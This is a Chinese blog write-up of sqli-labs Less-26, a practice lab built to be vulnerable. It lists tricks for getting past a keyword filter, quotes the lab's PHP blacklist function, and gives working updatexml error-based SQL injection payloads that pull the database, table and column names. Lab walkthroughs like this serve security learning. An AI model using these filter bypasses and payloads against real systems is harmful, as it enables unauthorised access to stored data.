sqli-labs26


    双写绕过:anandd
    大小写绕过And
    括号绕过
    ASCII编码绕过
    %20%0a绕过
    内联注释:/!**/
    替换:如 and 可替换为 && ,or 可替换为 ||
    空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代

一、审查源码

1、判断注入点和闭合方式

由于这个是与数据库交互的语句,通过这个判断注入点和闭合方式

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2、过滤方式

这个通过正则匹配过滤掉了and、or、–、#、空格、内联注释

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    $id= preg_replace('/[--]/',"", $id);		//Strip out --
    $id= preg_replace('/[#]/',"", $id);			//Strip out #
    $id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
    return $id;
}

二、SQL注入

1、获取数据库

?id=-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1=1

在这里插入图片描述

2、获取数据表

?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),0x7e),1)||'1=1

3、获取字段

?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(column_name))from (infoorrmation_schema.columns) where (table_name='users')),0x7e),1)||'1=1

在这里插入图片描述

注:文章借鉴https://blog.csdn.net/szlg510027010/article/details/107335587/,如有冒犯或错误,请及时告知。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值